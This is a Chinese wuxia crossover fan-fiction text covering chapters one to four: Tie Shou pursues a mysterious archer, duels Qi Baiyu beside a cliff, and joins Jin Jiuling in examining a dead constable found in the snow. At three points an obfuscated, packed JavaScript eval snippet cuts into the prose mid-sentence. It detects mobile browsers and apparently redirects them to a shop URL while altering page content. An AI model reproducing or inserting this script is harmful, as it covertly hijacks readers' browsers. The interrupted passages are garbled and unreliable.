《[综武侠]关山难越》 1. 第一章 铁手骑着一匹瘦马,行在官道上。 前些时日下过大雪,如今道上一片泥泞,他骑着的是匹官驿的老马,蹄子有气无力踏在冰水之间,走得很慢。所幸此处过往行人不多,微弱月色下,他仍辨得清他在追踪的那道足印。 沿途的消息告诉他,曾有位白衣白马的女子,从此间飞奔而过。 敢于在江湖中穿白衣的人,并没有寻常人想象的那么多。白衣易脏难洗,心怀幻想初入江湖的新手,穿个一两日,多半便败下阵来。敢于常穿白衣的,要么如同他的大师兄无情,有僮仆下人帮助整理仪容;要么便是艺高人胆大,可以仗着内力雄厚,辟易尘秽。 这样的高手并不常见,在这样偏僻的地方更少,大半可能,那女子正是他在追踪的嫌犯。 至于他身负重伤,追上之后几乎必定打不过对方……那是追上后的事了。 就在半月之前,铁手身为“四大名捕”之一,被诸葛神侯派去相助围捕从铁血大牢越狱的楚相玉。 楚相玉曾是绝顶高手,他被囚十几年,功力只是更为可怖。最终铁手等人靠着重重陷阱与搏杀,终于杀死楚相玉时,双方几乎死伤殆尽,活下来的几人,全部重伤几死。唯有铁手仗着绝顶深厚的内功,还勉强能如常活动。 楚相玉多年前的入狱,就与谋反刺杀案相牵连。他这次越狱,铁血大牢诸多守卫大为紧张,生怕天子一怒之下,全员人头落地,费心请了许多高手,直到将楚相玉击杀,才将事情禀报圣上。 尽管呈报之中用尽了春秋笔法,将大把细节都一笔带过,写得好像楚相玉甫一越狱,在牢门口便遭击杀一般,朝堂上仍是好一番波澜。驻守的官军,或罚或贬,倒是至少留住了性命。铁手伤重,诸葛神侯不欲弟子再卷入这番政治斗争,未叫他立刻回京。 铁手原本慢吞吞往回赶路,还打量着在路上何处住一阵子,养一养伤。没想到不到半月,手边又多了一桩不但棘手、而且非接不可的案子,叫他奔波至此。 如今他重伤未复,难以支持长途奔波,坐骑又不够神俊,一路追赶,总是不及。所幸越到后来,线索越是明白,他连夜追赶,补回些路程,如今已是前所未有地靠近。此地偏僻,除了些许村落农庄,再没有别的大城市,最是不容易追丢的地方。除非…… 他目光一凝,勒住了马。 官道上的足印飞奔如常,但铁手做了多年捕快,寻迹辨踪的本事一流,他认得出,这蹄印比先前忽然轻了一些,但地面冰雪并无什么变化——也就是说,极有可能马背上的那人,放了坐骑向前飞奔,自己却从马上跃起,去了旁处。 他抬首环顾,在靠近山林的那一侧雪地上发现浅浅的一道足印,只有半个前足的印子,脚尖略深,踏在几乎未经触碰的新雪上,只陷下去些许,留下足印的人必定轻功不凡。 铁手将马拴在路边,沿着那道足印,向山间而去。 他行前看过舆图,周遭这一片山脉叫做九峰山。九峰山中,当下这座山不高不低,既无寺庙,又无绝景,于是此地终年阴寒,山上的药材树木都长得不够好,便是当地人也很少上这座山,雪地上除了偶见野兽的足印,便只有那一道足迹向着山顶而去。 他循着足迹追去,在枝叶枯草的掩蔽中,轻浅的足印并不好认,临近山顶,足印离开积雪,朝向一片乱石,便在一处山崖边断了。铁手停下脚步,皱眉打量四周地面。 “你在追我。”一道声音在上方问,“为什么?” 他竟完全未察觉到另一个人的存在。铁手大吃一惊,抬起头来。 他看到在树梢上,坐着他正在追踪的那名白衣女子。 她的衣衫如雪,她的容色如雪,她的神情带着雪一样的寂静。她轻盈地坐在梢头,身下细枝犹在寒风中轻轻摇曳,仿佛她没有一点重量。在泛着微微蓝光的破晓天色之中,铁手几乎以为,他见到的是一只巨大的白鸟。在他恍神之中,她展开翅翼——不,展开袍袖,翩然落下,立在他面前。 铁手后退半步,拱手一揖:“神侯府,铁游夏。在下追踪嫌犯而来,姑娘为何孤身一人,在此深山?” “为了看看是我误会,还是当真有人在跟踪我。”她冷冷地、带点讥诮地说。 铁手尴尬地咳嗽一声:“冒犯姑娘,实在对不住。只是七日之前,青田镇县太爷李鳄泪被杀,铁某追踪疑犯行踪而来,姑娘若是方便,可否通个名姓?” “连云寨,戚白羽。”她回答。 原来她是戚白羽! 他早听说过这个名字不知道多少次:戚少商的胞妹,同兄长一般武功高强,一般博学多才,也一般地不知来处。 从未听说他们的出身和师承,这两兄妹似乎凭空冒了出来,立时就在武林中打出一片天地。 又或者可以说,她比她的哥哥更加神秘。 江湖上不曾流传戚少商的身世,但是他少年曾被雷卷赏识,效力于霹雳堂,后来又从霹雳堂叛出,自立门户——随便哪个消息灵通的江湖人都说得出这些往事。但戚白羽在兄长叛出霹雳堂之后才突然出现,头一次露面就是武林中堪称一流的高手。在此之前,人们不知道她生于何处、师承谁人。 她出名的方式也不同于兄长。戚少商是连云寨的大寨主,戚白羽在寨中隐隐居于第二人之位,却不曾听说她像其他的女侠一样,以剑法、以轻功、以美貌、琴棋书画、歌咏才情……闻名于世。她没有漂亮的功法或者动听的外号。 她只是出了名地擅长杀人。 她杀人的方式很整洁干脆,既不血腥残忍,也并不追求什么美感,只是平淡的一掌击碎人的心脉,任凭何等花哨武功也拦不住。正是这种平淡才可怕:因为她自打还是个年纪轻轻的少女的时候,就从不手软、从不畏怯、从不会为杀戮一条生命而动容。这种性格慑服连云寨的山匪,并让除此之外的一切人望而生畏。 ——可是,有几个武林中人,是不擅长杀人的? 若论出手果断,铁手的大师兄无情,只怕与她不分上下;若论招式狠厉,只怕她未见得胜过四师弟冷血;若论杀人的数量,阳顶天、黄药师、苏梦枕……这些赫赫有名的武林高手,没有哪个不是亲手在江湖中杀出一条血路。 只不过,放在旁人身上十分正常的举动,因为放在一个女子身上,因为一个年轻的女孩子居然不知道惊怕,便让人觉得怪异了。 只不过,当一个女子既不美丽、也不温柔、又没有什么动人的爱情故事,世人便忽然不知道如何描摹她。 于是,当铁手真正与她对面时,他意识到,除了世俗偏见里的那些传言,他其实一点都不了解她。这个已经在武林声名鹊起近十年的女侠,其实始终不动声色地把自己隐在偏狭的目光之后。 相比之下,他自己在她面前却清清楚楚,可以被一眼看透了。 四大名捕声名卓著,身世背景和功法来路都一清二楚,何况铁手前些日子才因为追捕“绝灭王”楚相玉,与戚少商交过手。当时未能和她会面,只因戚白羽率领连云寨人马,正在堵截另一个方向,由金九龄率领的追兵。 铁手只在事后才听说,戚白羽单人出阵,立下三战之约,三战两胜,硬是将那一路朝廷兵马拖了三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416057|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日,直到决战结束方姗姗来迟。 她或许是他追踪的嫌犯,或许是个敌人。并且在这样的信息差下,她将是个相当棘手的敌人。 但是,铁手的神色,却几乎是放松的。他问:“戚姑娘比我先行一步,可见过还有什么武林高手从此过吗?” “我自己也有事在身,不曾打探。不过路上倒不曾见过什么高手。”戚白羽答,她抱起手臂:“你要捉拿的嫌犯又是何人,怎会追到此处?” 铁手略一沉吟,道:“说来,这嫌犯与连云寨或许也有渊源,的确要请教姑娘。半月之前,听说连云寨和官军一同赶到了决战之处,戚姑娘是否眼见过楚相玉尸身?” 戚白羽剑眉一挑,道:“见过。” 铁手道:“那么,戚姑娘应当知道,楚相玉并非是我、也并非我们任何一人杀死的……我们拼力作战,的确在他身上留下了不少伤,但是最终致命的,却是射进他背心的一支箭。” “我知道。那难道不是你们的援军?金九龄所率兵马一个时辰后便到了,比我更早些,若是他们的前锋,或许刚好赶到。” 铁手并不奇怪她为何知晓这些,在连云寨近旁,他们的消息自然灵通。“若是我们的人,没有道理不敢现身。但当日那人却遁在林间,找也找不到,似乎不愿与我们照面。直到战斗结束,他也不曾现身。” “你们在酣战之中,难道还有空入林寻找?看来这人到得很早了?” “这位箭手比我到得更早。前前后后,他发箭不多,每一箭却都在关键时刻挡下杀招,时震东将军、伍刚中老寨主和楚相玉麾下的沈云山,都为他所救。只是后来潜藏雪地的楚相玉现身出来,与我们恶战,两方便谁也来不及寻人了。那人发的最后一箭,便是射中了楚相玉背心。” “那么,这位箭手又是怎么变成你追捕的嫌犯的?”戚白羽问。 铁手苦笑一下:“七日之前,青田镇的县太爷李鳄泪连同儿子李惘中一道死在宅邸之中,凶手正是用三箭透墙而过,伤了李惘中身旁护卫的高手,并且击杀了他。我恰在近旁,即刻接了此案。查访途中,便接连听闻:五天前,有人用同样的箭,帮助长空帮的梅老帮主平定门内叛乱,射杀了副令主白一呈;两天前,又有人以同样的功夫,射杀了黄河一带的‘千手人屠’彭连虎和‘鬼门龙王’沙通天。我便循着踪迹,一路追至此地。” “哦,那又怎么变成了追我?” “这等功力世上并不多见,因此我听说有高手行迹,便追逐而来。先前倒不知道是戚姑娘。” 戚白羽容色冷淡,并不稍改,道:“若是铁捕头疑心这凶手是我,便拿出证据来。若不是,看来今日不过一场误会,我尚有事在身,便告辞了。” 在她报出身份时,铁手的疑心已经消了七八成:他要追捕的是杀楚相玉的人,不管怎样说,连云寨的人都没有杀楚相玉的理由。更何况,朝廷追捕楚相玉的军队共分两路,其中一路就是被戚白羽带人阻截,直至决战结束才姗姗来迟。她若想杀楚相玉,何必如此大费周章? 不过,职责在身,他仍是要把剩下那一成问明白:“不知戚姑娘身负何事,竟在这个时候离寨远行?” 戚白羽又在用那样冷淡的、仿佛带着一点讥诮,又仿佛只是非常遥远的眼神望着他。也真怪,铁手自从少年时便已行走江湖,一路做到如今的名捕,早也算是老江湖了,可在她面前,忽然觉得进退失据、什么话都疑心自己说得不够周全。 她说:“铁捕头,你不至于忘了,半月之前,我们还是对手吧?我自然是去替寨中兄弟寻仇。” 2. 第二章 铁手一惊。他问:“若是因为连云寨的八寨主——” “我知道,杀他的人也已经死了。”戚白羽道,“寨中兄弟共一十八人死在跟官兵的交手之中,凡是杀人者已死了的,我们概不追究。但,托了帮你们的那名箭手的福,率领你们那支部队的时震东将军还活着,死在他手下的有五人——” 时震东在与楚相玉的大战中,重伤濒死,如今还在疗养,也不知道余生还使得出几成功夫。若是连云寨当真去找他,以铁手对时震东的了解,他是个铁骨铮铮的好汉,必定会接下这场仇怨,但也必死无疑。 按理说,当时连云寨要保楚相玉,官军要杀楚相玉,双方本来就是你死我活的关系,谁杀了谁都算正当。 但是,铁手很清楚:江湖上的仇怨,从来便不是说得清道理的东西。 于是,他劝道;“戚姑娘,楚相玉一案刚结,京城官场之中,正是波涛汹涌之时。无论是我,还是当日参战的诸多英雄,还是京城神侯府,都给卷在当中。若是姑娘此时杀时将军,怕要在这风口浪尖上背上谋害朝廷命官的罪名,又将连云寨搅进浑水。” 戚白羽道:“便是不杀他,连云寨不也早已搅进楚相玉这桩案子里来了?左右已经是叛臣同党,还怕多几个罪名?” 铁手忙道:“连云寨并未搅进楚相玉反叛的案子——这案子若是闹得大了,铁血大牢守卫,无论是否尽职、是否在岗,只怕全数要受无辜牵连。因此呈报之中,并不曾细讲许多经过。” 他不怕她不相信:事情已过半月,朝廷从未发兵征讨连云寨,便是明证。何况,假若他正追踪的命案,的确是戚白羽杀人,那么她一路隐藏了身份,正是为了避免将连云寨搅入争端。 戚白羽嘴边果然流露一丝笑影,又一闪即逝。她道:“无所谓,连云寨连谋反也敢做,还怕杀一个时震东?你以为你们那皇帝当真会在乎时将军性命、为了他大动干戈?” 铁手唯有默然。 他不知道为何她身在山野,却对皇帝的心思如此清楚,但他心知肚明,她说中了:皇帝不会在乎时震东。只要她做事够干净利落,死在家中的时震东,很有可能根本查不出凶手,便敷衍潦草结案,如同他曾见过的许多案子一般。 于是,他道:“领队的主帅虽为时震东将军,但他当时已将指挥权暂交给我。连云寨若要寻仇,自然也由铁某应承。” ——其实,时震东在那时并没有将指挥权交给他。但是,戚白羽和时震东都不会知道这点。 戚白羽淡淡地看了他一眼:“铁捕头,我知道你当日伤得极重,换做旁人,不死也残。你如今有几成把握能胜我?” 铁手道:“并无把握。只是还有一番话,请容我说来。” 戚白羽想是以为他要求饶,她面上露出一丝不以为然,道:“请说。” 铁手满怀诚挚,道:“戚姑娘,我身上还正接了李鳄泪的命案未结。杀人者多半是看不过他鱼肉百姓的暴行,才下此杀手。但李鳄泪是傅宗书心腹手下,若叫京城派了傅党党羽来查,怕是要大肆查办,严刑拷打,搞得青田镇民不聊生了。我须得先一步找到这位义士,否则无法收场。若是戚姑娘信得过,铁某以毕生声名担保,两月之内,待风波渐平,案件了结,我回京交代好一应事务,便悄悄地离京,与姑娘再行相约。届时,便是要偿命,也无有怨言。” “我前去时家,快马加鞭,不过三五日路程。为何我要等你两月?” 铁手苦笑一下,别无他法:“若是姑娘要在今日之内一决生死,容我片刻,留书一封。” 戚白羽摇了摇头:“罢了,你重伤未愈,我也不占这个便宜。便如你和大哥比试一般,你我也以招式定胜负。你要输了,再论不迟。” 铁手问:“请教规则如何?” 戚白羽向旁横跨半步,立在漆黑的山道之中,身边便是直上直下的山崖。她道:“不用内力,不限招式,你我便在此地,只较量拳掌,移动不可超出三步。若是谁先出了这个距离,又或是招式落败,便是输了。若我输了,血债自此勾销,连云寨其他人也不会再因此寻仇。若你输了么,就没有别的话好说了。” 铁手本就以一双铁掌闻名,这规则简直不能更公平,他自然没有话说,当下霍然站起,大步跨到崖边,与戚白羽对面而立。 戚白羽缓缓一抬手,道:“请。” 铁手知道她是不想占自己身上带伤的便宜,因此让出先手。他道一声:“得罪!”右手一掌翻出,平推向戚白羽。 铁手所出这一招,名为“单掌分浪”,质朴无华,用出此招,并无争胜之意,只是以显谦逊罢了。戚白羽眉头一挑,双手作分拂之势,以“双门推月”,卸去这一掌。 若是当真在实战中以这两招相击,那便是毫无花巧,硬碰硬的内力相击。但此时两人都未动内力,掌风也只是轻飘飘拂过,双方手掌不曾相触时,铁手另一只手蓦地自下方接上,招式一转而为“三叠推浪”。 如此变招,掌力有三叠之续,在内力比拼中更易占得上风。戚白羽脚下不动,只将身子一侧,向两侧分拂的手掌骤而合一,像是柳枝在看不见的风中弯折,使出一招“四两拨潮”,将这一招的劲力卸过,紧跟着手腕一翻,手臂仿若无骨,已贴近铁手身侧,一式“五枝缠藤”,便要绞上他右手。 若是在实战中,铁手大可以不遮不挡,让这一招落到实处,因他一双大手,一直连同小臂,都给练得坚如铁石,凭对方内力如何深厚,也不可能将他的手臂绞断,反而能让他占得机会。但是戚白羽摆出了如此公道的态度,只论招式,不论内功,铁手便连这一双手的优势也摒弃不用。既然如此,他不得不身向后仰,退了半步,双掌急收,以“六祖叩门”荡开这一招。 戚白羽双臂软若无骨,前臂与手腕都以奇怪的姿势反折,啪地一声,与他对了一掌。铁手只觉掌心一热,两人手掌已一触即分,戚白羽侧向迫近半步,身向前折,几要贴上他身子,一手仍在身前,另一手却已绕到他后侧,却是一式“七星定穴”,这招式连拍人体七大要穴,一旦中招,不死也残,铁手不敢大意,将身一定,一式“八方风雨”守得滴水不漏,戚白羽连点七次,七次皆给他防住。铁手低道一声:“得罪!”趁她招式用老,一招“九寸惊雷”,蓦然冲拳直进! 为着点穴,此时两人贴得极近,铁手一拳刚出,几乎是立刻就贴上她衣襟,但马上又感觉浑不着力般地滑了开去:他的拳进一寸,她的身便退一寸,铁手追上半步,戚白羽便回退半步,她双掌在胸前交错,一式“十丈软红”,一掌接了他的拳头,另一掌拂向他手肘麻穴。铁手只感觉被她接住的拳头像是被火一烫,慌忙抽手。 此时十招已过,两人仍站回最初的地方,谁也不曾稍动一寸。 比起定生死的较量,这倒像是棋逢对手的一次切磋。戚白羽目中多了几分赞赏,道:“难怪大哥对你评价这样高。确实是好本事。” 铁手抱拳道:“多亏姑娘承让。” “接下来,我便不再容情了。”她道,话音从容,但最后一个字未落,却掌影如电,蓦地击出! 若说先前两人还多少有几分相互欣赏的默契,这一招便是再不容情,她虽然不动内力,迅捷之势,却与杀招无异。铁手匆忙向左侧一闪身,避开她的左掌,紧跟着她右掌又到,正是一式“白猿崩石”。铁手顾忌右侧便是悬崖,不敢再退,使一招“九转归尘”,以太极劲力化去这一招之力,反推向她。 戚白羽侧移一步避过,她的掌刀几乎劈到他肩头,又忽然由掌化拳,一式少林的“枯禅叩钟”,在极近处击向他右耳。铁手匆忙偏头,间不容发之际抬起手来,以紫云门的“愁云蔽日”将她的拳劲拧转方向。戚白羽却手腕一翻,忽如灵蛇出洞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416058|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并指猛刺向他,倒不似掌法,而是将整个前臂,作了一柄连在自己身上的短剑! 人的手指自然不如短剑锋利,但铁手毫不怀疑,若是真的打起来,那支素手可以毫不费力地刺穿肢体。他自忖天下拳掌招式,见识得也不少,却从未识得这等掌法,一面拆招,一面不由得道:“这是什么招式?” 其实,只不过是他们彼此不动内力,对招之中,没有什么气劲窒碍,铁手于是下意识地将心中疑问说出了口,并没指望回答。令他意外的是,戚白羽却当真答了他:“苗疆的招式。” 她那一双手,此时已完全变成了两把短剑一般,招式之中,比起掌法,更像是一套贴身搏斗的剑法。所幸铁手的武功,一向以沉稳厚重为要,虽然被攻了个措手不及,一时倒也能守得密不透风:“原来如此。戚姑娘原来出身苗疆?” 戚白羽左手手掌蓦地向下一垂,仿佛没有关节似的,在他左肩拍了一掌,这一招大为出其不意,将铁手向后迫退了一步。“不,我出生在中原。”她道。 他们的语气平静,周遭地上的残雪都不曾惊起,但几句话之间,转眼已过了五六十招。两人都是拳掌上的一流好手,认真起来,谁也无法立定在原地,交手之间已经几度换位。雪上的脚印不知不觉间,已绕着两人身周,隐隐画出数个圆来。戚白羽侧对着山谷,一面嘴上说着话,一面连出几掌——又或是几剑,若非铁手格挡及时,几乎要被她刺中心口。他抬眼一望,正见她向他飞来一个眼神。 说来也怪,他们虽然第一次见面,他却立刻就懂了这个眼神的意思。她在挑衅他:你想知道吗? ——你想追问吗?这武林中从无一人知道的身世,这任何一个江湖女子都免不了遭受的揣测和传言? ——可是,你敢问吗?你敢在与我交手之时分心吗? 铁手的确不敢。这无关于这场比试牵涉他的生死,只因为他早已发觉,她的确是个值得尊重、值得敬佩的对手。他甚至隐约有种预感,倘若他没有受伤,两人神完气足地对决,她也仍旧能胜他一筹。 这令他更加好奇,便也更加慎重。 两人的交手越来越疾,指掌相击如狂风骤雨,打到此刻,两人棋逢对手、见猎心喜,举手投足之间早不拘泥于招式,往往一次出手便蕴含了两三次变招。至最疾处,又忽地慢了下来,宛如太极云手一般,一招一式,神意勾连。 如此这般拉扯又是百招,仍旧不分胜负。只是,两人在缠斗之中,已经不知不觉地彼此相迫着,离开了先前的位置,一步一步地向着崖边靠拢。 戚白羽向侧面踏出了两步,如今右脚再偏一偏就几乎踩在悬崖边上;铁手看似位置更加安全,实则已经离开自己的原位有两步半之遥,再有半步,便要告负。两人之间,很难说是谁的处境更为危险。 若在往日,铁手怕已叫了平局,可他这些年间,已很少遇到这样旗鼓相当的对手,打到酣处,几乎要忘记了这是一场攸关自身性命的比斗,只将平日里所得所思一一验证。又过了百招,两人的位置渐渐地又转了半圈,变成铁手面向悬崖,而戚白羽背对着悬崖。 忽然之间,一道金光,蓦地刺破他眼帘! 原来是悬崖另一边,朝阳已经升高,第一道日光刚刚刺破天际,向他们洒落。 这一点光线若在平日,断不至于对他造成什么影响,但他们实在势均力敌,一瞬间的分神便足以给戚白羽抓住机会。她掌影翻飞,蓦地突破了他的守卫,一击袭向喉结!铁手不敢再退,左手格住她手腕,猛地一拧,将她右臂甩开;右手则当胸一掌追击,要迫得她回防己身。 戚白羽似乎是不愿放弃这难得的机会,不肯撤招防守,只是向后退了半步,闪避他这一招。然而,他们早在不知不觉中靠近了悬崖边缘,她背后一步,已是无底深渊,此时左脚向后一落,登时踏空,整个人向后仰去! 3. 第三章 铁手大惊失色,叫道:“当心!”不假思索,扑上前去抓她。 他的出手速度自然迅捷绝伦,但一抓她的衣袖,立时便觉出了不对:那显然不是失去平衡的样子,她的行动流利,动作从容,显然根本没有将重心放在左脚上,只是右脚踏着崖壁,将全身沿着这一个支点向后仰去,又犹如弓弦一般,蓄势疾起! 铁手急着要救人,毫无防备,空门大露,再要变招已然不及。只听啪的一声,她一掌推在他胸口正中,跟着变一招飞云袖中的“流云万壑”,衣袖一卷他的手臂,人已翻上来,轻盈地落了地。 两人默然对视片刻,铁手道:“我输了。” 若是换个旁人来,这一局比试是胜是败,或许还可以掰扯些说法,但铁手并不打算抵赖什么:方才那一招拍中他的胸口,是输了招式;而他为了拉人,向侧前方踏了一大步,又是出了那三步之限。 他心中觉得有此一战,不枉所学;平生所为,惩奸除恶,无愧于心;死在眼前人手中,也算死得其所。至于身上的案子,他在追逐凶手时,早已传讯京城,叫三师弟追命前来接手,整理李鳄泪在当地贪赃枉法的证据。于是他轻轻吐出一口气,道:“戚姑娘身上有纸笔么?能否借我一用。” 戚白羽打量他片刻,摇了摇头。 “连云寨不会有人再向你或时震东寻仇,我此言便如戚少商所言。”她以不容置疑的语气说。 铁手松一口气:“多谢你。” 她续道:“你不算输。是我胜之不武。” 铁手内心里,实在并不认同这一说法。此时停了手,他也猜得出:戚白羽显然是早做好了假装坠崖的准备,多半也算到他会去拉她。但这也是智斗的一部分,他自己和连云寨比斗时,也没少用智,他并不觉得这算是胜之不武。 不过,他还是想活下去的,此时戚白羽有意放人一马,铁手也不至于求死,只是深深拱手一揖,道:“实在惭愧,蒙姑娘手下留情。铁某有什么能做的,可以略为报偿么?” 她凝神想了片刻。 “我要你做的,你恐怕都做不到。”她说,“但我确实有好奇的事情。不如这样,你回答我一个问题。” 铁手道:“请讲。” 她张开口,将要说话时,却忽地神色一动,将目光转向下山的方向。 铁手亦向那边望去,他此时重伤未愈,耳目不如以往灵敏,比她迟了数息,才隐约听见那个方向传来人声,却听不清具体内容。戚白羽听了一阵,脸色愈冷,忽地向他偏头示意。 于是两人并肩,向山下行去。再走一阵,听见呼喝交谈之声渐近,从山下冲上来数人,当先一人冲得最急,与铁手打了个照面,两人都是大吃一惊。那人奇道:“铁手?……戚白羽?” 铁手亦道:“金九龄!” 金九龄一向生得风流、做派也风流,他只穿第一流的锦衣华服、只吃第一流的珍馐玉馔,当然,他的文采武功,也一向是世间第一流的。因此,当他从山间小道翩然转出,成为这枯木、白雪、山石中唯一的一抹亮色,效果简直像是荒山中的一只孔雀,醒目得刺眼——但如今这孔雀毫无开屏的意思,只是将眼向他们两人一望,便问:“还曾见到别的人没有?” 铁手听他语气,严肃起来,答道:“不曾见到。发生什么了?” 金九龄叹息道:“有位镇上的捕快,叫做赵槐,死在了山脚下。” 铁手自山脚上来,沿路还留意了脚印痕迹,根本不曾看到有旁人踪迹,遑论尸首。他吃惊地一望戚白羽,看见她面上同样微露讶色。她答道:“我也未见。” 金九龄苦笑一声,示意他两人在此地等待片刻。他向峰顶飞掠,那一身锦衣华服在山间很是显眼。此时底下两三名捕快也赶来,将他两人隐约围住。 他们所在的位置已经很接近山顶。不过片刻,金九龄自峰顶奔下,摇头示意山间并无他人。他叹了口气,道:“既然铁兄也在,不如一道去看看现场?” 铁手点头道:“自然应当。” 他们一道向着山下走去,最后在山脚下站定:雪地上几名捕快正簇拥一具年轻的尸身,尸体上粘的雪都已经被同僚小心拂去,露出一张发青变色,却依然看得出年轻的脸。金九龄显然先前已经检查过尸身,道:“他的伤处在后背。” 他俯身握住尸体肩膀,将他翻过来,果然后心衣上隐约一道掌印的焦痕。金九龄撩起衣服,变色僵冷的皮肤上尤见一道清晰的黑色手掌印,只是人死后已过了一段时间,淤血散开,模糊了边缘,掌印极大,难辨男女。显而易见,他是自身后中了内力浑厚的一掌,即刻身死。 金九龄又将他翻过身来,给众人看口鼻之中血沫:那一掌已直接将他内脏击碎,非高手不能为之。 铁手问:“能否容我近前一观?” 金九龄道:“自然,铁兄请便。” 铁手蹲下身来,伸手抚触赵槐尸身,只觉肌体已经僵冷,但尸身深埋雪中,为雪所冻,无法确认具体的死亡时间。身上服饰佩刀,全冻成冰,倒无其余外伤。只是尸身上冰雪已被擦拭干净,想来偏僻村镇的捕快不懂得验尸要诀,亦不知道这样会抹去许多线索。铁手心下暗自叹息,但看看周遭捕快各个红着眼睛,神色低沉,亦不忍责怪。 他问:“这位小兄弟在何处寻得?” 金九龄指给他看树池之外的一块雪地,道:“实在得罪,我们在附近分头搜寻时,我一脚踏在他身上,顿觉积雪下有什么东西,才发现他。” 戚白羽方才并未凑近尸身查看,早早便望着那块翻开的雪块,眉头紧锁。她寒声道:“我上山时,尸身并不在此处。” 铁手向那里看去。平整的雪地上突兀翻出一大块破碎痕迹,正是尸体从雪中被挖出来,牵带起身上雪块。那周围一大片新雪都干干净净,只有三行足迹:一行是发现尸体的金九龄的足印;另一行足印极浅,是戚白羽的足迹;还有一行足印颇深,是失了内力、不便动用轻功的铁手的足迹。 从痕迹上看,两人都曾直直从尸体上方踏过去。但是戚白羽感知敏锐、铁手落足踏实,怎么可能不曾察觉到雪下埋藏了尸首?铁手亦肯定道:“我上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416059|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山时,也绝不曾感到足下踏着了这位兄弟。” 他和金九龄四目相对,都露出苦笑来。金九龄叹道:“哎呀,铁兄,我原还庆幸多了个帮手,现下倒宁可不曾在此碰着你了。” 铁手亦道:“我也想不到李鳄泪案还未完,又搅进一桩新案子来。” 戚白羽只是站在一旁,并不发问,周遭捕快自然也不敢问,有些灵透的人略略显出惊色,更多的还是满面疑惑。金九龄向他们解释道:“铁兄与戚姑娘人品,我都信得过,可若是他二人证词均为真话,此处便有个问题——戚姑娘头一个上山,并不见有尸首;铁兄第二个上山,也不见有尸首,到得我第三个经过这儿时,尸首却忽地出现在这里,世上怎可能有这般事?就算凶手轻功绝顶,能够踏雪无痕,难道他还能了无痕迹地将尸体埋到雪下吗?” 戚白羽道:“山脚积雪颇深,掩埋尸体之后,用掌风将雪扫平而已,多的是人做得到。” 金九龄道:“将积雪扫平之后,却还能在雪上保留二位的足印么?” 戚白羽皱起眉头,一时也不言语了。金九龄道:“如今情势,要么是二位当中有人撒谎、要么是二位合谋说了谎、要么便是在铁兄之后,在我之前,这区区一盏茶的时间里,还出现过一位武功奇高、手段诡谲、来无影去无踪的高人——铁兄知道,我们公门中人,若无证据,并不考虑这种虚无缥缈的可能性。为今之计,为了查案,是否委屈两位暂留此地,稍作配合?” 铁手本人自然无话,他只是担心地扫了一眼戚白羽。所幸,戚白羽也未反对,只是抱起手臂,道:“若要破案,总有时限吧,若是这案子始终破不了,难道我们便在此定居了不成?” 金九龄笑道:“不敢,便以三日为限——三日之内,若是查不到更多证据,我便不妨碍二位去留,如何?” 他二人对视片刻,戚白羽短暂地点了点头,便移开视线。一行人遂就地散开,各自忙碌,几名捕快散开来巡查四周、追踪三人足迹,铁手和金九龄借着天光已亮,各去查探雪上踪迹。铁手问:“戚姑娘要不要看一眼?” 戚白羽倚着树,道:“我又不懂这一套,不必了。” 铁手不再多言,自去做事。他站在一旁,细细观察尸身躺过的那片雪地,以及金九龄拉起尸首时雪块向旁飞溅的痕迹。因着不便破坏现场,要站在远处;他此时负伤在身,五感减退,于是便不自禁地向前探出身去。 隔了一阵子,他直起身来时,看见戚白羽依旧不言不动、立在原地。 她与戚少商一样英挺、高挑,却一点都没有戚少商那股风流纵横的气概。当然,戚少商知道了楚相玉的死讯,料来也会比当日见面时消沉些—— 可是戚白羽,她看起来那样冷峻疏离,枝头几点落雪沾染发上,她也懒得拂去。铁手不知为何,心头一跳,几乎从她身上觉出一股亡命徒的味道。她不在乎是否被卷入命案、是否沾染行凶嫌疑,因为就连自己的性命也不在乎,于是无所畏惧。 可是,她这样一位年轻的、名满江湖的女侠,怎么会如此了无生趣呢? 4. 第四章 铁手收敛心绪,转去向留下的另两名捕快攀谈。他毕竟身为四大名捕之一,声名在外,虽说如今身为嫌疑人,这些捕快倒没有谁当真相信他是杀人凶手,待他态度还算和气。 据他们所言,前一天当值时,赵槐便未曾到岗。这小地方规矩不严,逃班旷工是常事,当时众人不以为意,直到晚上有同僚去他家里拜访,从他老娘口中知晓赵槐如常外出,一日未归,才着急起来。镇子不大,很快众人翻遍全镇,但直至第二日,也不见他踪影。恰巧金九龄路过此地,便伸出援手,带他们四处巡查,在镇外打听到赵槐曾向着这个方向而来,又一路寻到此处。 